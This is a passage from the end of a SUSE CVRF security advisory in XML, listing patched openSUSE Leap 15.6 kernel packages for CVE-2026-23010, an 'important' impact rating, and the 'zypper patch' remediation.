        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2026-23010.html</URL>
        <Description>CVE-2026-23010</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1257332</URL>
        <Description>SUSE Bug 1257332</Description>
      </Reference>
    </References>
  </Vulnerability>
</cvrfdoc>
